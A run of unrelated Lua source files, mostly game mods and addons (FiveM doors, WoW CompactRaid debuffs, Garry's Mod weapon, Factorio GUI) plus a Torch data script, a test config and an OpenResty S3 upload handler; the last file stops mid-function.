--[[----------------- Doors Control By XanderWP from Ukraine with <3 ------------------------]]-- local doors = {} local LockHotkey = {0,108} RegisterNetEvent('vrpdoorsystem:load') AddEventHandler('vrpdoorsystem:load', function(list) doors = list end) RegisterNetEvent('vrpdoorsystem:statusSend') AddEventHandler('vrpdoorsystem:statusSend', function(i, status) doors[i].locked = status end) function searchIdDoor() local x,y,z = table.unpack(GetEntityCoords(GetPlayerPed(-1), true)) for k,v in pairs(doors) do if GetDistanceBetweenCoords(x,y,z,v.x,v.y,v.z,true) <= 1.5 then return k end end return 0 end Citizen.CreateThread(function() while true do Citizen.Wait(1) if IsControlJustPressed(table.unpack(LockHotkey)) then local id = searchIdDoor() if id ~= 0 then TriggerServerEvent("vrpdoorsystem:open", id) end end end end) Citizen.CreateThread(function() while true do Citizen.Wait(100) local x,y,z = table.unpack(GetEntityCoords(GetPlayerPed(-1), true)) for k,v in pairs(doors) do if GetDistanceBetweenCoords(x,y,z,v.x,v.y,v.z,true) <= 10 then local door = GetClosestObjectOfType(v.x,v.y,v.z, 1.0, v.hash, false, false, false) if door ~= 0 then SetEntityCanBeDamaged(door, false) if v.locked == false then NetworkRequestControlOfEntity(door) FreezeEntityPosition(door, false) else local locked, heading = GetStateOfClosestDoorOfType(v.hash, v.x,v.y,v.z, locked, heading) if heading > -0.02 and heading < 0.02 then NetworkRequestControlOfEntity(door) FreezeEntityPosition(door, true) end end end end end end end)
local IsAOPanelEnabled = GetConfig( "EnableAOPanel" ) or GetConfig( "EnableAOPanel" ) == nil function onAOPanelStart( params ) if IsAOPanelEnabled then local SetVal = { val = userMods.ToWString( "MBR" ) } local params = { header = SetVal, ptype = "button", size = 54 } userMods.SendEvent( "AOPANEL_SEND_ADDON", { name = common.GetAddonName(), sysName = common.GetAddonName(), param = params } ) hide(getChild(mainForm, "AORBMButton")) end end function onAOPanelLeftClick( params ) if params.sender == common.GetAddonName() then ChangeMainWndVisible() end end function onAOPanelRightClick( params ) end function onAOPanelChange( params ) if params.unloading and params.name == "UserAddon/AOPanelMod" then show(getChild(mainForm, "AORBMButton")) end end function enableAOPanelIntegration( enable ) IsAOPanelEnabled = enable SetConfig( "EnableAOPanel", enable ) if enable then onAOPanelStart() else show(getChild(mainForm, "AORBMButton")) end end
--[[ Count data for each class and length Copyright 2016 Xiang Zhang Usage: th count_data.lua [input] [output] --]] local torch = require('torch') -- A Logic Named Joe local joe = {} function joe.main() local input = arg[1] or '../data/jd/sentiment/comment_sorted_nonull.csv' local output = arg[2] or '../data/jd/sentiment/comment_sorted_count.t7b' print('Counting data') local count = joe.count(input) joe.count = count print('Saving to '..output) torch.save(output, count) print('Plotting result') joe.plot(count) end function joe.count(input) local count = {} local max_class = 0 local max_length = 0 local fd = io.open(input) local n = 0 for line in fd:lines() do n = n + 1 if math.fmod(n, 100000) == 0 then io.write('\rProcessing line: ', n) io.flush() end local content = joe.parseCSVLine(line) local class = tonumber(content[1]) local length = 0 for i = 2, #content do length = length + content[i]:gsub("^%s*(.-)%s*$", "%1"):len() end count[class] = count[class] or {} count[class][length] = (count[class][length] or 0) + 1 if class > max_class then max_class = class end if length > max_length then max_length = length end end print('\rProcessed lines: '..n) print('total classes = '..max_class..', maximum length = '..max_length) fd:close() local result = torch.Tensor(max_class, max_length):zero() for class, class_count in pairs(count) do if class > 0 then for length, length_count in pairs(class_count) do if length > 0 then result[class][length] = length_count end end end end return result end function joe.plot(count) require('gnuplot') local cumulated = count:cumsum(2) local plots = {} for class = 1, cumulated:size(1) do plots[class] = {tostring(class), cumulated[class], '-'} end local figure = gnuplot.figure() gnuplot.plot(unpack(plots)) end -- Parsing csv line -- Ref: http://lua-users.org/wiki/LuaCsv function joe.parseCSVLine (line,sep) local res = {} local pos = 1 sep = sep or ',' while true do local c = string.sub(line,pos,pos) if (c == "") then break end if (c == '"') then -- quoted value (ignore separator within) local txt = "" repeat local startp,endp = string.find(line,'^%b""',pos) txt = txt..string.sub(line,startp+1,endp-1) pos = endp + 1 c = string.sub(line,pos,pos) if (c == '"') then txt = txt..'"' end -- check first char AFTER quoted string, if it is another -- quoted string without separator, then append it -- this is the way to "escape" the quote char in a quote. until (c ~= '"') table.insert(res,txt) assert(c == sep or c == "") pos = pos + 1 else -- no quotes used, just look for the first separator local startp,endp = string.find(line,sep,pos) if (startp) then table.insert(res,string.sub(line,pos,startp-1)) pos = endp + 1 else -- no separator found -> use rest of string and terminate table.insert(res,string.sub(line,pos)) break end end end return res end joe.main() return joe
------------------------------------------------------------ -- API.lua -- -- Abin -- 2012/3/08 ------------------------------------------------------------ -- API -- -- module = CompactRaid:FindModule("RaidDebuff") -- Get the "RaidDebuff" module reference -- valid = module:VerifyExpansion(id) -- Verify the expansion(Major version: 1-Classic, 2-TBC, 3-WotLK, 4-Cataclysm, 5-MoP, 6-WoD, 7-?, ...) -- debuff = module:RegisterDebuff(tierId, instanceId, bossId, spellId, level) -- Register a debuff ------------------------------------------------------------ local type = type local tinsert = tinsert local pairs = pairs local ipairs = ipairs local wipe = wipe local strlower = strlower local GetSpellInfo = GetSpellInfo local floor = floor local format = format local strmatch = strmatch local tonumber = tonumber local GetCurrentMapContinent = Pre80API.GetCurrentMapContinent local tinsert = tinsert local GetInstanceInfo = GetInstanceInfo local GetRealZoneText = GetRealZoneText local EJ_SelectInstance = EJ_SelectInstance local EJ_GetEncounterInfoByIndex = EJ_GetEncounterInfoByIndex local EJ_GetInstanceByIndex = EJ_GetInstanceByIndex local EJ_GetNumTiers = EJ_GetNumTiers local EJ_GetTierInfo = EJ_GetTierInfo local EJ_GetCurrentTier = EJ_GetCurrentTier local L = CompactRaid:GetLocale("RaidDebuff") local module = CompactRaid:GetModule("RaidDebuff") if not module then return end local tierList = {} local pendingList = {} local initDone local function GetInstance(tierId, instanceId) local tier = tierList[tierId] if tier then return tier.instances[instanceId] end end function module:GetNumTiers() return #tierList end function module:GetTierName(tierId) local tier = tierList[tierId] if tier then return tier.name end end function module:GetCurrentTier() return EJ_GetCurrentTier() end function module:RegisterDebuff(tierId, instanceId, bossId, spellId, level, custom) if initDone then local instance = GetInstance(tierId, instanceId) if not instance then return end local debuff = instance:RegisterDebuff(bossId, spellId, level, custom) if not debuff then return end if custom and self.db then self.db.customDebuffs[format("%d,%d,%d", tierId, instanceId, spellId)] = format("%d,%d", debuff.bossId, debuff.level) end return debuff else tinsert(pendingList, { tierId = tierId, instanceId = instanceId, bossId = bossId, spellId = spellId, level = level, custom = custom }) end end function module:EnumInstances(tierId, instanceType, func, arg1) if type(func) ~= "function" then return end local tier = tierList[tierId] if not tier then return end if type(instanceType) == "string" then instanceType = strlower(instanceType) end if instanceType ~= "raid" and instanceType ~= "party" then instanceType = nil end local id, data for id, data in pairs(tier.instances) do if not instanceType or instanceType == data.type then if arg1 then func(arg1, id, data.name, data.debuffCount) else func(id, data.name, data.debuffCount) end end end end function module:EnumBosses(tierId, instanceId, func, arg1) if type(func) ~= "function" then return end local instance = GetInstance(tierId, instanceId) if not instance then return end local i for i = 1, #instance.bosses do local data = instance.bosses[i] if arg1 then func(arg1, data.id, data.name, data.debuffCount) else func(data.id, data.name, data.debuffCount) end end end function module:EnumDebuffs(tierId, instanceId, bossId, func, arg1) if type(func) ~= "function" then return end local instance = GetInstance(tierId, instanceId) if not instance then return end if not bossId then bossId = 0 end local name, data for name, data in pairs(instance.debuffs) do if data.bossId == bossId then if arg1 then func(arg1, name, data) else func(name, data) end end end end function module:IsDebuffRegistered(tierId, instanceId, debuffName) local instance = GetInstance(tierId, instanceId) if instance then return instance.debuffs[debuffName] end end function module:GetInstanceName(tierId, instanceId) local instance = GetInstance(tierId, instanceId) if instance then return instance.name end end local function NormalizeLevel(level, default) if type(level) == "number" then level = floor(level) if level < 0 then level = 0 end if level > 5 then level = 5 end else level = default end return level end function module:SetDebuffLevel(tierId, instanceId, spellId, level) if type(spellId) ~= "number" then return end local instance = GetInstance(tierId, instanceId) if not instance then return end local name = GetSpellInfo(spellId) if not name then return end local debuff = instance.debuffs[name] if not debuff then return end level = NormalizeLevel(level, debuff.defLevel) debuff.level = level local key = format("%d,%d,%d", tierId, instanceId, spellId) if debuff.custom then self.db.customDebuffs[key] = format("%d,%d", debuff.bossId, level) else if debuff.level == debuff.defLevel then self.db.userLevels[key] = nil else self.db.userLevels[key] = level end end return level end local function InitDebuffLevel(tierId, instanceId, spellId, level) local instance = GetInstance(tierId, instanceId) if not instance then return end level = NormalizeLevel(level) if not level then return end local debuff = instance.debuffs[GetSpellInfo(spellId)] if debuff then debuff.level = level return level end end local function ParseValues(value) if type(value) == "string" then local id1, id2, id3 = strmatch(value, "(%d+),(%d+),(%d+)") if id1 and id2 and id3 then return tonumber(id1), tonumber(id2), tonumber(id3) end end end local function ParseValues2(value) if type(value) == "string" then local id1, id2 = strmatch(value, "(%d+),(%d+)") if id1 and id2 then return tonumber(id1), tonumber(id2) end end end function module:ApplyUserLevels() -- Apply user-modified priorities local key, level for key, level in pairs(self.db.userLevels) do local valid = type(key) == "string" and type(level) == "number" if valid then local tierId, instanceId, spellId = ParseValues(key) valid = InitDebuffLevel(tierId, instanceId, spellId, level) end if not valid then self.db.userLevels[key] = nil end end end function module:ClearUserLevels() local _, tier, instance for _, tier in pairs(tierList) do for _, instance in pairs(tier.instances) do local debuff for _, debuff in pairs(instance.debuffs) do debuff.level = debuff.defLevel end end end end function module:GetZoneDebuffs() local zone = GetInstanceInfo() or GetRealZoneText() if not zone then return end local _, continent = GetCurrentMapContinent() local _, tier for _, tier in pairs(tierList) do local id, data for id, data in pairs(tier.instances) do if data.name == zone or data.name == continent then --print("zone debuff: ", data.name) return data.debuffs end end end end function module:DeleteCustomDebuff(tierId, instanceId, spellId) local instance = GetInstance(tierId, instanceId) if not instance then return end local name = GetSpellInfo(spellId) if not name then return end local debuff = instance.debuffs[name] if not debuff or not debuff.custom then return end instance.debuffs[name] = nil instance.debuffCount = instance.debuffCount - 1 self.db.customDebuffs[format("%d,%d,%d", tierId, instanceId, spellId)] = nil return debuff end function module:ApplyCustomDebuffs() -- Apply custom debuffs local key, value for key, value in pairs(self.db.customDebuffs) do local valid = type(key) == "string" and type(value) == "string" if valid then local tierId, instanceId, spellId = ParseValues(key) local bossId, level = ParseValues2(value) if tierId and instanceId and spellId and bossId and level then valid = module:RegisterDebuff(tierId, instanceId, bossId, spellId, level, 1) end end if not valid then self.db.customDebuffs[key] = nil end end end function module:ClearCustomDebuffs() local _, tier, instance for _, tier in pairs(tierList) do for _, instance in pairs(tier.instances) do local name, debuff for name, debuff in pairs(instance.debuffs) do if debuff.custom then instance.debuffs[name] = nil end end end end end ------------------------------------------------ -- Internal Utilities ------------------------------------------------ local function FindBoss(bosses, id) local general local _, data for _, data in ipairs(bosses) do if data.id == id then return data end if data.id == 0 then general = data end end return general, 1 end local function Instance_RegisterDebuff(self, bossId, spellId, level, custom) local name, _, icon = GetSpellInfo(spellId) if not name then return end level = NormalizeLevel(level, 2) local boss, general = FindBoss(self.bosses, bossId) if general then bossId = 0 end local debuff = self.debuffs[name] if debuff then return end debuff = {} self.debuffs[name] = debuff self.debuffCount = self.debuffCount + 1 boss.debuffCount = boss.debuffCount + 1 debuff.id = spellId debuff.name = name debuff.icon = icon debuff.link = "|cff71d5ff|Hspell:"..spellId.."|h["..name.."]|h|r" debuff.level = level debuff.defLevel = level debuff.bossId = bossId debuff.custom = custom return debuff end local function BuildBossList(instanceId) EJ_SelectInstance(instanceId) local list = {} local i for i = 1, 255 do local name, _, id = EJ_GetEncounterInfoByIndex(i) if not name or not id then break end tinsert(list, { id = id, name = name, debuffCount = 0 }) end tinsert(list, { id = 0, name = GENERAL, debuffCount = 0 }) return list end local function BuildInstanceList(tier, instanceType, list) local arg = instanceType == "raid" EJ_SelectTier(tier) local i for i = 1, 255 do local id, name = EJ_GetInstanceByIndex(i, arg) if not id or not name then break end local data = { id = id, name = name, type = instanceType, debuffCount = 0, debuffs = {} } data.RegisterDebuff = Instance_RegisterDebuff list[id] = data data.bosses = BuildBossList(id) end end function module:InitAPI() local i local numTiers = EJ_GetNumTiers() for i = 1, numTiers do local tier = {} tier.name = EJ_GetTierInfo(i) tier.id = i tier.instances = {} BuildInstanceList(i, "raid", tier.instances) BuildInstanceList(i, "party", tier.instances) tinsert(tierList, tier) end initDone = 1 local _, data for _, data in pairs(pendingList) do self:RegisterDebuff(data.tierId, data.instanceId, data.bossId, data.spellId, data.level, data.custom) end wipe(pendingList) end
local config = {} -- Should be the root of our project if tests are run via `make test` config.cwd = os.getenv('PWD') or io.popen('cd'):read() config.root_dir = os.getenv('DISTANT_ROOT_DIR') or config.cwd config.bin = os.getenv('DISTANT_BIN') config.host = os.getenv('DISTANT_HOST') or 'localhost' config.port = tonumber(os.getenv('DISTANT_PORT')) or 22 config.identity_file = os.getenv('DISTANT_IDENTITY_FILE') config.user = assert(os.getenv('DISTANT_USER'), 'DISTANT_USER not set') assert(config.user ~= '', 'DISTANT_USER cannot be empty') config.password = os.getenv('DISTANT_PASSWORD') config.mode = os.getenv('DISTANT_MODE') config.timeout = tonumber(os.getenv('DISTANT_TIMEOUT')) or (1000 * 30) config.timeout_interval = tonumber(os.getenv('DISTANT_TIMEOUT_INTERVAL')) or 200 -- Clear out any empty config options for k, v in pairs(config) do if v == '' then config[k] = nil end end return config
if SERVER then AddCSLuaFile("shared.lua") SWEP.HoldType = "ar2" end if CLIENT then SWEP.PrintName = "Terrorist Gun" SWEP.Author = "Darkspider" SWEP.Slot = 1 SWEP.SlotPos = 1 end SWEP.Base = "darkland_base" SWEP.Spawnable = true SWEP.AdminSpawnable = true SWEP.ViewModel = "models/weapons/v_rif_ak47.mdl" SWEP.WorldModel = "models/weapons/w_rif_ak47.mdl" SWEP.Weight = 5 SWEP.AutoSwitchTo = false SWEP.AutoSwitchFrom = false SWEP.Primary.Sound = Sound("Weapon_AK47.Single") SWEP.Primary.Recoil = 0.5 SWEP.Primary.Damage = 18 SWEP.Primary.NumShots = 1 SWEP.Primary.Cone = 0.02 SWEP.Primary.ClipSize = 35 SWEP.Primary.Delay = 0.1 SWEP.Primary.DefaultClip = SWEP.Primary.ClipSize * 50 SWEP.Primary.Automatic = true SWEP.Primary.Ammo = "SMG1" SWEP.Secondary.ClipSize = -1 SWEP.Secondary.DefaultClip = -1 SWEP.Secondary.Automatic = false SWEP.Secondary.Ammo = "none" SWEP.nextFire = 0 SWEP.lastFire = 0 function SWEP:PrimaryAttack() if self.nextFire > CurTime() then return end self.nextFire = CurTime() + self.Primary.Delay self.lastFire = CurTime() // Play shoot sound self.Weapon:EmitSound( self.Primary.Sound ) self.Weapon:SendWeaponAnim( ACT_VM_PRIMARYATTACK ) // View model animation self.Owner:MuzzleFlash() // Crappy muzzle light self.Owner:SetAnimation( PLAYER_ATTACK1 ) // 3rd Person Animation // Shoot the bullet self:CSShootBullet( self.Primary.Damage, self.Primary.Recoil, self.Primary.NumShots, self.Primary.Cone ) // Remove 1 bullet from our clip self:TakePrimaryAmmo( 1 ) // Punch the player's view self.Owner:ViewPunch( Angle( math.Rand(-0.2,-0.1) * self.Primary.Recoil, math.Rand(-0.1,0.1) *self.Primary.Recoil, 0 ) ) if self.Weapon:Clip1() < 1 then if SERVER and self.Owner.Classes[11] > 1 and self.Owner:GetMana() >= 10 then self.Owner:TakeMana(10) self:SetClip1( 1 ) return end self:Reload() end end
local cnf = require "config.HTconfig" local upload = require "resty.upload" -- clone from https://github.com/openresty/lua-resty-upload local json = require "cjson" local s3_upload = require "resty.s3_upload" local base64_decode = ngx.decode_base64 local base64_encode = ngx.encode_base64 local string_len = string.len local ngx_find = ngx.re.find local chunk_size = 1024*10 -- should be set to 4096 or 8192 local ngx_gsub = ngx.re.gsub local string_sub = string.sub local form, err = upload:new(chunk_size) if not form then ngx.log(ngx.ERR, "failed to new upload: ", err) ngx.exit(500) end local allowd_types = s3_upload.allowd_types local timeOut = cnf.S3_UPLOAD_TIMEOUT form:set_timeout(timeOut) -- 1 sec local appender = '' local start_upload = false; local data_upload = false; local content_type = ''; local data_ready = false; local uploader = s3_upload:new(cnf.AWS_accessKey,cnf.AWS_secretKey,cnf.CHATVOC_BUCKET,timeOut) while true do local typ, res, err = form:read() if not typ then ngx.say(ngx.ERR,"failed to read: ", err) return end if typ == "header" then content_type = res[2] ngx.log(ngx.INFO,"content_type: ", content_type) if content_type and allowd_types[content_type] then start_upload = true end local inputFile = [[name="input"]] if res[1]=='Content-Disposition' and ngx_find(res[2] or '',inputFile) then data_upload = true end ngx.log(ngx.INFO,"header: ", json.encode(res)) elseif typ == "body" then if start_upload==true and res then appender = appender..res end if data_upload == true and res then ngx.log(ngx.NOTICE,"body : ", res) data_upload = false end elseif typ == "part_end" then if appender ~= '' then local data_len = string_len(appender) ngx.log(ngx.NOTICE,"start to upload ",content_type," len=" ,data_len) if data_len>20 then local filename = ngx.md5(appender) local url,object_err = uploader:upload(appender,content_type) if not url then ngx.log(ngx.ERR, "postfix or url err ",postfix , url) end if url then local show = json.encode({status="0";url=url}) ngx.print (show) ngx.log(ngx.NOTICE,"success : ",show) else ngx.print (json.encode({status="507";url=url;err=err})) ngx.log(ngx.ERR,"request return : ",err) end else local reason = " body too short " .. content_type ngx.log(ngx.NOTICE,reason) ngx.print (json.encode({status="507" ;err=reason})) end appender = '' start_upload = false end elseif typ == "eof" then break end end
local t = require(script.t) local tPlus = {} function tPlus.Enumeration(Enumeration) assert(t.userdata(Enumeration)) return Enumeration.Cast end return setmetatable(tPlus, {__index = t})
local util = require("scripts.util") return function(recipe_book, dictionaries) for name, prototype in pairs(global.prototypes.item_group) do recipe_book.group[name] = { class = "group", enabled_at_start = true, fluids = util.unique_obj_array{}, items = util.unique_obj_array{}, prototype_name = name, recipes = util.unique_obj_array{}, } dictionaries.group:add(name, prototype.localised_name) -- NOTE: Groups do not have descriptions end end
require("production_handler") production_table = {} -- ** LOCAL UTIL ** -- Creates and places a single module button local function create_module_button(flow, module, type, button_name) local m = (module.amount == 1) and {"fp.module"} or {"fp.modules"} local tutorial_tooltip = ui_util.tutorial_tooltip(game.get_player(flow.player_index), nil, type, true) local button_module = flow.add{type="sprite-button", name=button_name, sprite=module.proto.sprite, style="fp_button_icon_medium_recipe", number=module.amount, mouse_button_filter={"left-and-right"}, tooltip={"", module.proto.localised_name, "\n", module.amount, " ", m, ui_util.generate_module_effects_tooltip_proto(module), tutorial_tooltip}} button_module.style.padding = 2 end -- Creates the flow containing all line items of the given type local function create_item_button_flow(player_table, gui_table, line, class, style_color) local player = game.get_player(gui_table.player_index) local preferences = player_table.preferences local view_name = player_table.ui_state.view_state.selected_view.name local round_belts = (view_name == "belts_or_lanes" and preferences.round_button_numbers) local flow = gui_table.add{type="flow", name="flow_line_products_" .. class .. "_" .. line.id, direction="horizontal"} local style = "fp_button_icon_medium_" .. style_color local tutorial_tooltip = ui_util.tutorial_tooltip(player, nil, string.lower(class), true) local function create_item_button(item, indication) local raw_amount, appendage = nil, "" -- Don't show a number for subfloors in the items/s/machine view, as it's nonsensical if not (line.subfloor ~= nil and view_name == "items_per_second_per_machine") then raw_amount, appendage = ui_util.determine_item_amount_and_appendage(player, view_name, item.proto.type, item.amount, line.machine) end if raw_amount == nil or raw_amount > MARGIN_OF_ERROR then -- Determine potential different button style and the potential satisfaction line local actual_style, satisfaction_line = style, "" indication = indication or "" -- The priority_product is always stored on the first line of the subfloor, if there is one local relevant_line = (line.subfloor == nil) and line or Floor.get(line.subfloor, "Line", 1) local priority_product_proto = relevant_line.priority_product_proto if item.proto.type == "entity" then actual_style = "fp_button_icon_medium_blank" elseif class == "Product" and priority_product_proto ~= nil and priority_product_proto.type == item.proto.type and priority_product_proto.name == item.proto.name then actual_style = "fp_button_icon_medium_green" elseif (class == "Ingredient" or class == "Fuel") and preferences.ingredient_satisfaction then local satisfaction_percentage = ui_util.format_number(((item.satisfied_amount / item.amount) * 100), 3) if class == "Ingredient" then -- colors only change for Ingredients, not Fuel local satisfaction = tonumber(satisfaction_percentage) if satisfaction == 0 then actual_style = "fp_button_icon_medium_red" elseif satisfaction < 100 then actual_style = "fp_button_icon_medium_yellow" elseif satisfaction >= 100 then actual_style = "fp_button_icon_medium_green" end end satisfaction_line = {"", "\n", satisfaction_percentage, "% ", {"fp.satisfied"}} end -- Determine the correct indication if class == "Product" and priority_product_proto == item.proto then indication = {"fp.indication", {"fp.priority"}} elseif class == "Ingredient" and item.proto.type == "entity" then indication = {"fp.indication", {"fp.raw_ore"}} end local number_line, button_number = "", nil if raw_amount ~= nil then local rounded_amount = ui_util.format_number(raw_amount, 4) number_line = {"", "\n" .. rounded_amount .. " ", appendage} button_number = (round_belts) and math.ceil(raw_amount) or rounded_amount end local tooltip = {"", item.proto.localised_name, indication, number_line, satisfaction_line, tutorial_tooltip} flow.add{type="sprite-button", name="fp_sprite-button_line_" .. line.id .. "_" .. class .. "_" .. (item.id or 1), sprite=item.proto.sprite, style=actual_style, number=button_number, tooltip=tooltip, mouse_button_filter={"left-and-right"}} end end -- Create all the buttons of the given class for _, item in ipairs(Line.get_in_order(line, class)) do create_item_button(item) end -- Add the fuel button if necessary if class == "Ingredient" and line.subfloor == nil and line.machine.fuel then local indication = {"fp.indication", {"fp.fuel"}} class = "Fuel" style = "fp_button_icon_medium_cyan" tutorial_tooltip = ui_util.tutorial_tooltip(player, nil, "fuel", true) create_item_button(line.machine.fuel, indication) end end -- Creates a single row of the table containing all (assembly) lines local function create_line_table_row(player, line) local table_production = player.gui.screen["fp_frame_main_dialog"]["flow_production_pane"] ["scroll-pane_production_pane"]["table_production_pane"] local player_table = get_table(player) local ui_state = player_table.ui_state local archive_open = ui_state.flags.archive_open local preferences = get_preferences(player) -- Recipe button production_table.refresh_recipe_button(player, line, table_production) -- Percentage textfield local relevant_line = (line.subfloor == nil) and line or Floor.get(line.subfloor, "Line", 1) local textfield_percentage = table_production.add{type="textfield", name="fp_textfield_line_percentage_" .. line.id, text=relevant_line.percentage, enabled=(not archive_open)} ui_util.setup_numeric_textfield(textfield_percentage, true, false) textfield_percentage.style.horizontal_align = "center" textfield_percentage.style.width = 55 -- Machine button production_table.refresh_machine_table(player, line, table_production) -- Modules local flow_modules = table_production.add{type="flow", name="flow_line_modules_" .. line.id, direction="horizontal"} if line.subfloor == nil and line.machine.proto.module_limit > 0 then for _, module in ipairs(Machine.get_in_order(line.machine, "Module")) do create_module_button(flow_modules, module, "module", "fp_sprite-button_line_module_" .. line.id .. "_" .. module.id) end if Machine.empty_slot_count(line.machine) > 0 then flow_modules.add{type="sprite-button", name="fp_sprite-button_line_add_module_" .. line.id, sprite="fp_sprite_plus", style="fp_sprite-button_inset_line", tooltip={"fp.add_a_module"}, mouse_button_filter={"left"}, enabled=(not archive_open)} end end -- Beacons local flow_beacons = table_production.add{type="flow", name="flow_line_beacons_" .. line.id, direction="horizontal"} flow_beacons.style.vertical_align = "center" -- Beacons only work on machines that have some allowed_effects if line.subfloor == nil and line.machine.proto.allowed_effects ~= nil then if line.beacon == nil then -- only add the add-beacon-button if this does not have a beacon yet flow_beacons.add{type="sprite-button", name="fp_sprite-button_line_add_beacon_" .. line.id, sprite="fp_sprite_plus", style="fp_sprite-button_inset_line", tooltip={"fp.add_beacons"}, mouse_button_filter={"left"}, enabled=(not archive_open)} else local beacon = line.beacon create_module_button(flow_beacons, beacon.module, "beacon_module", "fp_sprite-button_line_beacon_module_" .. line.id) flow_beacons.add{type="label", name="label_beacon_separator", caption="X"} local m = (beacon.amount == 1) and {"fp.beacon"} or {"fp.beacons"} local b = (beacon.total_amount ~= nil) and {"", " (", {"fp.total"}, ": ", beacon.total_amount, ")"} or "" local tutorial_tooltip = ui_util.tutorial_tooltip(player, nil, "beacon_beacon", true) local button_beacon = flow_beacons.add{type="sprite-button", name="fp_sprite-button_line_beacon_beacon_" .. line.id, sprite=beacon.proto.sprite, style="fp_button_icon_medium_recipe", number=beacon.amount, mouse_button_filter={"left-and-right"}, tooltip={"", beacon.proto.localised_name, "\n", beacon.amount, " ", m, b, ui_util.generate_module_effects_tooltip(beacon.total_effects, nil), tutorial_tooltip}} button_beacon.style.padding = 2 if beacon.total_amount ~= nil then local sprite_overlay = button_beacon.add{type="sprite", sprite="fp_sprite_white_square"} sprite_overlay.ignored_by_interaction = true end end end -- Energy label (don't add pollution to the tooltip if it gets it's own column) local pollution_line = (preferences.pollution_column) and "" or {"", "\n", {"fp.cpollution"}, ": ", ui_util.format_SI_value(line.pollution, "P/m", 3)} table_production.add{type="label", name="fp_label_line_energy_" .. line.id, caption=ui_util.format_SI_value(line.energy_consumption, "W", 3), tooltip={"", ui_util.format_SI_value(line.energy_consumption, "W", 5), pollution_line}} -- Pollution label if preferences.pollution_column then table_production.add{type="label", name="fp_label_line_pollution_" .. line.id, caption=ui_util.format_SI_value(line.pollution, "P/m", 3), tooltip={"", ui_util.format_SI_value(line.pollution, "P/m", 5)}} end -- Item buttons create_item_button_flow(player_table, table_production, line, "Product", "blank") create_item_button_flow(player_table, table_production, line, "Byproduct", "red") create_item_button_flow(player_table, table_production, line, "Ingredient", "green") -- Comment textfield if preferences.line_comment_column then local textfield_comment = table_production.add{type="textfield", name="fp_textfield_line_comment_" .. line.id, text=(line.comment or "")} ui_util.setup_textfield(textfield_comment) textfield_comment.style.width = 160 end end -- ** TOP LEVEL ** -- Refreshes the production table by reloading the data function production_table.refresh(player) local flow_production = player.gui.screen["fp_frame_main_dialog"]["flow_production_pane"] -- Cuts function short if the production pane hasn't been initialized yet if not flow_production then return end flow_production["label_production_info"].visible = false local scroll_pane_production = flow_production["scroll-pane_production_pane"] local preferences = get_preferences(player) -- Production table needs to be destroyed to change it's column count local table_production = scroll_pane_production["table_production_pane"] if table_production ~= nil then table_production.destroy() end local column_count = 9 for _, optional_column in pairs{preferences.pollution_column, preferences.line_comment_column} do if optional_column == true then column_count = column_count + 1 end end table_production = scroll_pane_production.add{type="table", name="table_production_pane", column_count=column_count} table_production.style = "table_with_selection" table_production.style.horizontal_spacing = 16 table_production.style.top_padding = 0 table_production.style.left_margin = 6 local context = get_context(player) if context.subfactory ~= nil and context.subfactory.valid then if context.floor.Line.count == 0 then scroll_pane_production.visible = false flow_production["label_production_info"].visible = true else scroll_pane_production.visible = true -- Custom column creation local function add_line_comments_column() local flow = table_production.add{type="flow", name="flow_comment_clear", direction="horizontal"} flow.style.vertical_align = "center" local title = flow.add{type="label", name="label_title_comment", caption={"", {"fp.comments"}, " "}} title.style.font = "fp-font-16p" local button = flow.add{type="button", name="fp_button_production_clear_comments", caption={"fp.clear"}, tooltip={"fp.clear_recipe_comments"}, style="fp_button_mini", mouse_button_filter={"left"}} button.style.font = "fp-font-14p-semi" button.style.height = 20 button.style.left_padding = 1 button.style.right_padding = 1 end -- Table titles local titles = { {name="recipe", label={"fp.recipe"}, alignment="middle-center"}, {name="percent", label="% [img=info]", tooltip={"fp.line_percentage_tooltip"}, alignment="middle-center"}, {name="machine", label={"fp.cmachine"}, alignment="middle-center"}, {name="modules", label={"fp.cmodules"}, alignment="middle-center"}, {name="beacons", label={"fp.cbeacons"}, alignment="middle-center"}, {name="energy", label={"fp.energy"}, alignment="middle-center"}, {name="pollution", show=preferences.pollution_column, label={"fp.cpollution"}, alignment="middle-center"}, {name="products", label={"fp.products"}, alignment="middle-left"}, {name="byproducts", label={"fp.byproducts"}, alignment="middle-left"}, {name="ingredients", label={"fp.ingredients"}, alignment="middle-left"}, {name="line_comments", show=preferences.line_comment_column, custom_function=add_line_comments_column, alignment="middle-left"} } for index, title in ipairs(titles) do if title.show == nil or title.show == true then table_production.style.column_alignments[index] = title.alignment if title.custom_function then title.custom_function() else local label_title = table_production.add{type="label", name="label_title_" .. title.name, caption=title.label, tooltip=title.tooltip} label_title.style.font = "fp-font-16p" end end end -- Table rows for _, line in ipairs(Floor.get_in_order(context.floor, "Line")) do create_line_table_row(player, line) end end end end -- Separate function so it can be refreshed independently function production_table.refresh_recipe_button(player, line, table_production) local ui_state = get_ui_state(player) local relevant_line = (line.subfloor == nil) and line or Floor.get(line.subfloor, "Line", 1) local recipe_proto = relevant_line.recipe.proto local tooltip, style, enabled = recipe_proto.localised_name, "fp_button_icon_medium_blank", true -- Make the first line of every subfloor uninteractable, it stays constant if ui_state.context.floor.level > 1 and line.gui_position == 1 then style = "fp_button_icon_medium_hidden" enabled = false else if line.subfloor then tooltip = {"", tooltip, {"fp.indication", {"fp.subfloor_attached"}}} style = "fp_button_icon_medium_green" end -- Tutorial tooltip only needed for interactable buttons tooltip = {"", tooltip, ui_util.tutorial_tooltip(player, nil, "recipe", true)} end local button_name = "fp_sprite-button_line_recipe_" .. line.id local button_recipe = table_production[button_name] if button_recipe == nil then -- either create or refresh the recipe button table_production.add{type="sprite-button", name=button_name, style=style, sprite=recipe_proto.sprite, tooltip=tooltip, enabled=enabled, mouse_button_filter={"left-and-right"}} else button_recipe.tooltip = tooltip button_recipe.style = style button_recipe.enabled = enabled end end -- Separate function so it can be refreshed independently function production_table.refresh_machine_table(player, line, table_production) if line.subfloor ~= nil then local machine_count = line.machine.count local machine_text = (machine_count == 1) and {"fp.machine"} or {"fp.machines"} table_production.add{type="sprite-button", name="sprite-button_subfloor_machine_total_" .. line.id, sprite="fp_generic_assembler", style="fp_button_icon_medium_blank", enabled=false, number=machine_count, tooltip={"", machine_count, " ", machine_text, " ", {"fp.subfloor_machine_count"}}} else -- otherwise, show the machine button as normal local machine_proto = line.machine.proto local total_effects = Line.get_total_effects(line, player) local machine_count = ui_util.format_number(line.machine.count, 4) local machine_text = (tonumber(machine_count) == 1) and {"fp.machine"} or {"fp.machines"} local limit = line.machine.limit local style, limit_notice = "fp_button_icon_medium_recipe", "" if limit ~= nil then if 